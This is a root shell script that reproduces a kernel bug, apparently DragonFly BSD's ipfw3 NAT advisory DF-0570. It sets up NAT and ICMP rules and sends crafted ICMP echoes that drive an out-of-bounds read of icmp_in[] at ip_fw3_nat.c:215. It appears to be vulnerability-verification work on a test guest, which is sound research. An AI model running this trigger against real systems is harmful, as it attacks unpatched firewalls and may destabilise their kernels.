#!/bin/sh
# DF-0570 run: set up ipfw3 NAT (alias = vtnet0 IP) + inbound ICMP rule, then send
# crafted ICMP echoes with icmp_id in [64511..65535], each indexing icmp_in[] OOB.
#
# MUST RUN AS ROOT on the guest (loads modules, configures firewall, sends raw ICMP).
# SSH is preserved: only inbound ICMP/UDP NAT rules are added (NEVER inbound TCP,
# which would NAT-deny port 22).
#
# On the unpatched module this exercises the OOB read at ip_fw3_nat.c:215.
# To see the smoking-gun OOB indices, build the diagnostic module (see VERDICT.md);
# the vanilla module produces no visible output (OOB slots read NULL on clean heap).
set -e
ALIAS_IP=${1:-10.0.2.15}
ID_LO=${2:-64511}
ID_HI=${3:-65535}

sysctl net.filters_default_to_accept=1 >/dev/null 2>&1 || true
kldload ipfw3        2>/dev/null || true
kldload ipfw3_basic  2>/dev/null || true
kldload ipfw3_nat    2>/dev/null || true

ALIAS_IP=$(ifconfig vtnet0 | grep 'inet ' | awk '{print $2}')
ipfw3 nat 1 config ip "$ALIAS_IP" 2>/dev/null || true
ipfw3 add 100 nat 1 udp from any to any out via vtnet0 2>/dev/null || true
# inbound ICMP rule (NOT tcp -- that would break SSH)
ipfw3 add 200 nat 1 icmp from any to any in 2>/dev/null || true
echo "rule counters before:"
ipfw3 show 2>/dev/null | grep 'icmp in'

cc -O2 -o /tmp/df0570_oob df0570_oob_trigger.c
echo "sending ICMP echoes to $ALIAS_IP with icmp_id in [$ID_LO..$ID_HI] (OOB into icmp_in[])"
/tmp/df0570_oob "$ALIAS_IP" "$ID_LO" "$ID_HI"

echo "rule counters after (icmp-in should have incremented => inbound path executed):"
ipfw3 show 2>/dev/null | grep 'icmp in'
echo "DONE -- on the unpatched module the OOB read at :215 executed for each packet."
